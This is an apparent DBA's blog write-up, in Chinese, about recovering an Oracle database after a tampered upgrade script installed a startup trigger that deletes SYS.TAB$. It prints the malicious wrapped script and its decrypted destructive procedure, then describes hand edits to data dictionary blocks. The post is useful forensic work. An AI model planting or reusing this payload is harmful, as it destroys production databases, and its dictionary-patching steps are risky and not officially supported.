前几天某客户紧急求助我们,其Oracle数据库由于重启之后无法正常启动。最后通过数据库全备进行了一天一夜的恢复,最后仍然无法正常打开数据库。alter database open时检查发现数据库报错ORA-16703.
从用户提供的信息来看,确实是在open resetlogs的时候出现的错误。那么这个错误意味着什么呢? 其实第一眼看到这个错误;我们就大概清楚这是Oracle的数据字典出问题了。 而且这通常是Oracle tab$。
接到这个case,我开始感觉是非常的奇怪。为什么客户利用Oracle rman全备+归档进行恢复,然后open的时候居然报数据字典有问题呢?感觉有点匪夷所思。
这里我们首先要做的是进行验证,验证什么信息呢? 很简单,确认tab$是否真的有问题。这里其实有2种方法(第一是10046 trace跟踪你会看到Oracle 递归SQL在访问tab$时报错、第二是直接通过工具读取tab$的数据,看看是否正常)。
实际上这里我首先通过10046 event跟踪了一下,发现确实如此,为了更加确认,我将system文件cp到文件系统,通过ODU 抽取了tab$的数据,发现居然是0 行。这说明什么呢? 说明tab$ 的数据被人清空了?
我相信只有这一种解释了。发现了问题,没什么用呀。我们需要尽快帮用户恢复生产库,恢复业务。这是关键。由于客户之前的环境已经被人resetlogs了多次,因此不再适合继续恢复了;首先我们通过全备进行了一次恢复,然后尝试打开了数据库。确实非常顺利,但是遗憾的,不到1分钟数据库就宕机了,然后再次启动就是报同样的错误ORA-16073.
还好我此时多了一个心眼,open之前我先备份了system文件;此时再次通过odu抽取tab$的数据进行对比发现;open之前数据是存在的;open之后数据库宕机,然后再次查看tab$数据为0.
很明显,问题出在open之后的一个极其短暂的时内。通常这种破坏操作都是通过存储过程或者trigger等来进行;因此我尝试通过odu抽取了obj$的信息。发现该数据库再2017年9月2号凌晨创建了几个特殊对象,猜测就是这个东西在捣鬼了。
这几个dbms_support的对象明显是有问题的。看来这个问题在1个月前就潜伏了,只是用户没有发觉而已。结合alert log分析判断9月2号客户应该是进行过数据库升级操作,后面跟客户确认也确实如此。
难道问题出在升级的环境? 问过当时升级的工程师,整个过程没有任何问题,只是简单的将数据库从11.2.0.3升级到11.2.0.4。 想到这里,问怀疑问题可能出现在Oracle软件安装包上。搜了一下Mos发现这个dbms_support对象在安装升级过程运行?/rdbms/admin/prvtsupp.plb脚本产生的内容。 既然如此;那么有没有这个脚本被人动过手脚呢? strings 看了一下脚本内容,发现确实有问题。
如下是被恶意注入后的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
ora1>$strings /oracle/product/11.2.4/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 166 17d L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7 GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD lUETCD2WIxfg3w== PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER create or replace trigger DBMS_SUPPORT_DBMONITOR after startup on database declare begin DBMS_SUPPORT_DBMONITORP; end; ora1>$ |
如下是我的11.2.0.4环境的正常脚本内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
[[email protected] admin]$ strings /u01/app/oracle/product/11.2.0/dbhome_1/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= |
我们可以清楚的看到,前面的大部分内容被篡改了。对于这个恶意攻击脚本,我尝试进行解密,但是没有成功。
后面研究了一下,稍微修改一下脚本,即可顺利解密,解密出来的代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 |
PROCEDURE DBMS_SUPPORT_DBMONITORP IS DATE1 INT :=10; BEGIN SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE; IF (DATE1>=300) THEN EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$'; DELETE SYS.TAB$; COMMIT; EXECUTE IMMEDIATE 'alter system checkpoint'; END IF; END; |
注意、注意;禁止拿去搞破坏性动作!本站一概不负责!
对于Oracle自带的这个正常的prvtsupp.plb的脚本,可以轻易解密:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 |
PACKAGE BODY dbms_support AS
FUNCTION MYSID RETURN NUMBER IS L_SID NUMBER := 0; BEGIN
SELECT SID INTO L_SID FROM V$MYSTAT WHERE ROWNUM = 1; RETURN(L_SID); END;
FUNCTION PACKAGE_VERSION RETURN VARCHAR2 IS BEGIN RETURN('DBMS_SUPPORT Version 1.0 (17-Aug-1998)'|| ' - Requires Oracle 7.2 - 8.0.5'); END;
FUNCTION CURRENT_SERIAL(L_SID IN NUMBER) RETURN NUMBER IS L_SERIAL NUMBER := 0; BEGIN SELECT SERIAL# INTO L_SERIAL FROM V$SESSION WHERE SID = L_SID; RETURN(L_SERIAL); EXCEPTION WHEN NO_DATA_FOUND THEN RAISE_APPLICATION_ERROR(-20000, 'Current_Serial: SID '||L_SID||' does not exist'); END;
PROCEDURE VALIDATE_SID(L_SID IN NUMBER, L_SERIAL IN NUMBER) IS L_STATUS VARCHAR2(20); BEGIN SELECT STATUS INTO L_STATUS FROM V$SESSION WHERE SID = L_SID AND SERIAL# = L_SERIAL; IF L_STATUS = 'KILLED' THEN RAISE_APPLICATION_ERROR(-20000, 'Validate_Sid: Session ('||L_SID||','||L_SERIAL|| ') has been KILLED'); END IF; EXCEPTION WHEN NO_DATA_FOUND THEN RAISE_APPLICATION_ERROR(-20000, 'Validate_Sid: Session ('||L_SID||','||L_SERIAL|| ') does not exist'); END;
PROCEDURE START_TRACE(WAITS IN BOOLEAN DEFAULT TRUE, BINDS IN BOOLEAN DEFAULT FALSE) IS BEGIN START_TRACE_IN_SESSION(MYSID,0,WAITS,BINDS); END;
PROCEDURE STOP_TRACE IS BEGIN STOP_TRACE_IN_SESSION(MYSID,0); END;
PROCEDURE START_TRACE_IN_SESSION(SID IN NUMBER, SERIAL IN NUMBER, WAITS IN BOOLEAN DEFAULT TRUE, BINDS IN BOOLEAN DEFAULT FALSE) IS L_LEVEL NUMBER := 0; L_SID NUMBER := SID; L_SERIAL NUMBER := SERIAL; BEGIN
IF (SERIAL = 0 OR SERIAL IS NULL) THEN L_SERIAL := CURRENT_SERIAL(SID); END IF; VALIDATE_SID(L_SID, L_SERIAL);
IF (WAITS AND BINDS) THEN L_LEVEL := 12; ELSIF (WAITS) THEN L_LEVEL := 8; ELSIF (BINDS) THEN L_LEVEL := 4; ELSE L_LEVEL := 1; END IF;
DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, L_LEVEL, ''); END;
PROCEDURE STOP_TRACE_IN_SESSION(SID IN NUMBER, SERIAL IN NUMBER) IS L_SID NUMBER := SID; L_SERIAL NUMBER := SERIAL; BEGIN
IF (SERIAL = 0 OR SERIAL IS NULL) THEN L_SERIAL := CURRENT_SERIAL(SID); END IF; VALIDATE_SID(L_SID, L_SERIAL);
DBMS_SYSTEM.SET_EV(L_SID, L_SERIAL, 10046, 0, ''); END; END DBMS_SUPPORT; |
那么知道了问题的原因,如何处理呢? 这就不太难了。我尝试用提前cp备份的system文件进行替换,然后推进scn顺利打开了数据库,打开之后,我离开进行了如下的操作。
1 2 3 4 5 |
alter system set "_system_trig_enabled"=false scope=both; alter database open ; drop TRIGGER DBMS_SUPPORT_DBMONITOR; drop PROCEDURE DBMS_SUPPORT_DBMONITORP; drop PACKAGE DBMS_SUPPORT; |
这里需要注意的是,对于这个隐含参数,建议open之前打开,可以起到类似将数据库在upgrade模式下操作的效果(drop操作要够快,最好是命令与open操作一起执行)。
事情到这里还没结束,可能是我操作不够快还是怎么到。最后dbmonitorp这个私活无法drop,会一直挂起。不过trigger被drop了,那么只是问题不会再次触发了,除非手工调用这个存储过程。
最后客户测试应用时,发现有将近10个表有问题,报错ora-30732错误。这个错误本身来讲不难处理,重建对象即可。问题是当我尝试重建table时,发现session直接挂起。通过10046 event跟踪session发现一直时row cache lock,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
===================== PARSING IN CURSOR #47076496818944 len=247 dep=0 uid=0 oct=1 lid=0 tim=1506947044194706 hv=2230672216 ad='18eb9ca910' sqlid='0cxwj6k2gaqus' CREATE TABLE test.LIS_TES END OF STMT PARSE #47076496818944:c=2000,e=2011,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=0,tim=1506947044194702 ===================== PARSING IN CURSOR #47076496812832 len=45 dep=1 uid=0 oct=3 lid=0 tim=1506947044195801 hv=3393782897 ad='18fce834e0' sqlid='9p6bq1v54k13j' select value$ from sys.props$ where name = :1 END OF STMT PARSE #47076496812832:c=1000,e=884,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1506947044195800 BINDS #47076496812832: Bind#0 oacdty=01 mxl=32(22) mxlc=00 mal=00 scl=00 pre=00 oacflg=10 fl2=0001 frm=01 csi=852 siz=32 off=0 kxsbbbfp=2ad0d9dea2b8 bln=32 avl=22 flg=05 value="GG_XSTREAM_FOR_STREAMS" EXEC #47076496812832:c=1000,e=1304,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044197191 FETCH #47076496812832:c=0,e=65,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044197275 STAT #47076496812832 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=66 us cost=2 size=28 card=1)' CLOSE #47076496812832:c=0,e=5,dep=1,type=0,tim=1506947044197363 ===================== PARSING IN CURSOR #47076497130448 len=70 dep=1 uid=0 oct=3 lid=0 tim=1506947044200836 hv=1853064805 ad='192c100d50' sqlid='5hrvvu1r771m5' SELECT VALUE$ FROM SYS.PROPS$ WHERE NAME = 'OGG_TRIGGER_OPTIMIZATION' END OF STMT PARSE #47076497130448:c=2000,e=1513,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=415205717,tim=1506947044200835 EXEC #47076497130448:c=0,e=19,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044200964 FETCH #47076497130448:c=0,e=24,p=0,cr=2,cu=0,mis=0,r=0,dep=1,og=4,plh=415205717,tim=1506947044201006 STAT #47076497130448 id=1 cnt=0 pid=0 pos=1 obj=98 op='TABLE ACCESS FULL PROPS$ (cr=2 pr=0 pw=0 time=24 us cost=2 size=28 card=1)'
*** 2017-10-02 20:24:07.201 WAIT #47076496818944: nam='row cache lock' ela= 3000384 cache id=8 mode=0 request=3 obj#=-1 tim=1506947047201532
*** 2017-10-02 20:24:10.203 WAIT #47076496818944: nam='row cache lock' ela= 3001708 cache id=8 mode=0 request=3 obj#=-1 tim=1506947050203394
*** 2017-10-02 20:24:13.205 WAIT #47076496818944: nam='row cache lock' ela= 3001737 cache id=8 mode=0 request=3 obj#=-1 tim=1506947053205264
*** 2017-10-02 20:24:16.207 WAIT #47076496818944: nam='row cache lock' ela= 3001722 cache id=8 mode=0 request=3 obj#=-1 tim=1506947056207134 |
这确实有些怪异了。通过上面毒cahce id=12我们可以进一步定位到是数据库的约束可能有问题,如下:
1 2 3 4 5 6 7 8 9 10 11 12 |
SQL> select cache#,cache_name,lock_mode,lock_request,saddr from v$rowcache_parent where lock_mode<>0;
CACHE# CACHE_NAME LOCK_MODE LOCK_REQUEST SADDR ---------- ---------------------------------------------------------------- ---------- ------------ ---------------- 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 8 dc_objects 5 0 0000001883325D60 11 dc_objects 5 0 0000001883325D60 11 dc_objects 5 0 0000001883325D60 12 dc_constraints 5 0 0000001883325D60 12 dc_constraints 5 0 0000001883325D60 |
约束有问题? 各位不要惊讶,这里完全有可能,因为数据库是强制open的,可能有不一致的情况出现。为了进行验证,我创建一个不带约束的table 发现确实ok,带上not null的约束就hang住。
最后在自己的11.2.0.4的数据库进行了简单测试发现:
1、create table(带约束的情况下)会如下几个基表的操作,但是与约束有关系的,其实就con$,cdef$:
1 2 3 4 5 |
insert into con$(owner#,name,con#,spare1)values(:1,:2,:3,:4) insert into tab$(obj#,ts#,file#,block#,bobj#,tab#,intcols,kernelcols,clucols,audit$,flags,pctfree$,pctused$,initrans,maxtrans,rowcnt,blkcnt,empcnt,avgspc,chncnt,avgrln,analyzetime,samplesize,cols,property,degree,instances,dataobj#,avgspc_flb,flbcnt,trigflag,spare1,spare6)values(:1,:2,:3,:4,decode(:5,0,null,:5),decode(:6,0,null,:6),:7,:8,decode(:9,0,null,:9),:10,:11,:12,:13,:14,:15,:16,:17,:18,:19,:20,:21,:22,:23,:24,:25,decode(:26,1,null,:26),decode(:27,1,null,:27),:28,:29,:30,:31,:32,:33) insert into col$(obj#,name,intcol#,segcol#,type#,length,precision#,scale,null$,offset,fixedstorage,segcollength,deflength,default$,col#,property,charsetid,charsetform,spare1,spare2,spare3)values(:1,:2,:3,:4,:5,:6,decode(:5,182/*DTYIYM*/,:7,183/*DTYIDS*/,:7,decode(:7,0,null,:7)),decode(:5,2,decode(:8,-127/*MAXSB1MINAL*/,null,:8),178,:8,179,:8,180,:8,181,:8,182,:8,183,:8,231,:8,null),:9,0,:10,:11,decode(:12,0,null,:12),:13,:14,:15,:16,:17,:18,:19,:20) insert into ccol$(con#,obj#,intcol#,pos#,col#,spare1) values(:1,:2,:3,decode(:4,0,null,:4),:5, :6) insert into cdef$(obj#,con#,type#,intcols,condlength,condition,robj#,rcon#,match#,refact,enabled,cols,defer,mtime,spare1,spare2,spare3)values(:1,:2,:3,decode(:4,0,null,:4),decode(:5,0,null,:5),:6,decode(:7,0,null,:7),decode(:8,0,null,:8),decode(:9,0,null,:9),decode(:10,0,null,:10), decode(:11,0,null,:11),:12, decode(:13,0,null,:13),:14,:15,:16,:17) |
2、创建约束时Oracle会以_next_constraint 的con# 值为当前所能搞创建成功的约束的con#;该值必须比con$.max(con#)要大。 其实只要大于即可。
根据类似的思路我对客户这套数据库进行了简单检查,发现数据字典确实有问题,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 |
SQL> select /*+full(con$) */ con# from con$ 2 minus 3 select /*+full(cdef$) */ con# from cdef$ 4 /
CON# ---------- 144216
SQL> select /*+full(cdef$) */ con# from cdef$ minus 2 select /*+full(con$) */ con# from con$;
no rows selected
SQL> select /*+index(cdef$ I_CDEF1) */ con# from cdef$ minus 2 select /*+INDEX(con$ I_CON2) */ con# from con$;
CON# ---------- 144217 144218 144219 144220 144221 144222 144223 144224 144225 144226 144227 144228 144229
13 rows selected.
++++index
select /*+index(cdef$ I_CDEF1) */ con# from cdef$ order by 1;
CON# ---------- 144171 144192 144193 144216 144217 144218 144219 144220 144221 144222 144223 144224 144225 144226 144227 144228 144229
+++table select /*+full(cdef$) */ con# from cdef$ order by 1;
CON# ---------- 144086 144087 144088 144089 144090 144091 144092 144093 144094 144095 144096 144171 144192 144193
+++con$ index
select /*+INDEX(con$ I_CON2) */ con# from con$ order by 1 ;
CON# ---------- 144171 144192 144193 144216
file 67 block 69150
+++con$ table select /*+full(con$) */ con# from con$ order by 1 ;
CON# ---------- 144171 144192 144193 144216 ..... 144228 |
con$的记录均包含了cdef$。因此这里我们不需要太关注cdef$。
首先我们来说con$:
由于其i_con2这个唯一索引中最大值是144216,因此我们需要将表中con# >144216 的记录全部标记为删除;
其次对于cdef$:
由于cdef$中con# 最大记录是144193,因此需要将其索引I_CDEF1中的con# > 144193的键值全部标记为删除。
这里我们通过bbed 修复了上述对应的一些data block和Index Block,但是创建table 时发现还是hang住。难道哪个地方没有修改对吗?
由于我的测试环境的情况是需要_next_constraint 能够正常工作,按理说都是ok的。那么问题出现在什么的地方呢?
这里我们先尝试来查看一条正常的记录,例如con#=144193:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id, 2 dbms_rowid.rowid_block_number(rowid) block_id 3 from con$ where con#=144193 4 /
ROWID FILE_ID BLOCK_ID ------------------ ---------- ---------- AAAAAcAABAAAc+PABI 1 118671
SQL> select rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num 6 from con$ where con#=144193;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PABI 28 1 118671 72 |
大家可以看到,dba地址和行号都应该是对应起来的(这里我没有显示行号).
我们再来看看异常的这条数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
SQL> select rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num 6 from con$ where con#=144216;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> select /*+full(con$) */ rowid,dbms_rowid.rowid_relative_fno(rowid) file_id, 2 dbms_rowid.rowid_block_number(rowid) block_id 3 from con$ where con#=144216 4 /
ROWID FILE_ID BLOCK_ID ------------------ ---------- ---------- AAAAAcAABAAAAEhAAM 1 289 |
很明显,rdba地址都不匹配呀(注意:前面基于rowid的查询,不加hint的情况下,走的是Index 扫描)。以为这里将rdba修改为file 1 block 289 就ok了,发现还是不行。为什么呢? 这里给自己挖了一个坑。后面再次查询发现行号其实也不匹配,正常应该对应第12行,实际这里错误的对应到18行了。如下是该数据块的dump情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
—file 1 block 289 dump
tl: 29 fb: --H-FL-- lb: 0x0 cc: 4 col 0: [ 1] 80 col 1: [16] 5f 4e 45 58 54 5f 43 4f 4e 53 54 52 41 49 4e 54 col 2: [ 4] c3 0f 2b 11 col 3: [ 1] 80 tab 0, row 13, @0x1e92
[email protected] dump(144216,16) from dual;
Typ=2 Len=4: c3,f,2b,11
[email protected] dump('_NEXT_CONSTRAINT',16) from dual;
Typ=96 Len=16: 5f,4e,45,58,54,5f,43,4f,4e,53,54,52,41,49,4e,54 |
看来这确实是我们需要的这条数据,非常珍贵的一条数据呀。当最后将index block中的行号也修改为一致时,再次测试发现就ok了。不过我这里还是直接将该条记录delete条了,然后插入一条新的记录(有些人会说,这里如果不修改能否delete呢?其实不行的,delete会报错):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
SQL> delete from con$ where con#=144216;
1 row deleted.
SQL> commit;
Commit complete.
SQL> insert into con$ values(0,'_NEXT_CONSTRAINT',144236,0,'','','','','');
1 row created.
SQL> commit;
Commit complete.
SQL> select /*+INDEX(con$ I_CON2) */rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num_5 6 from con$ where con#=144236;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM_5 ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> SQL> SQL> select /*+full(con$) */ rowid, 2 dbms_rowid.rowid_object(rowid) object_id, 3 dbms_rowid.rowid_relative_fno(rowid) file_id, 4 dbms_rowid.rowid_block_number(rowid) block_id, 5 dbms_rowid.rowid_row_number(rowid) num_5 6 from con$ where con#=144236;
ROWID OBJECT_ID FILE_ID BLOCK_ID NUM_5 ------------------ ---------- ---------- ---------- ---------- AAAAAcAABAAAc+PAAS 28 1 118671 18
SQL> conn test/test Connected. SQL> create table tt_con(id number not null);
Table created. |
整个恢复过程其实要比这个复杂一些,省略了一些步骤,不过基本上差不了太多。大家将就看喏~~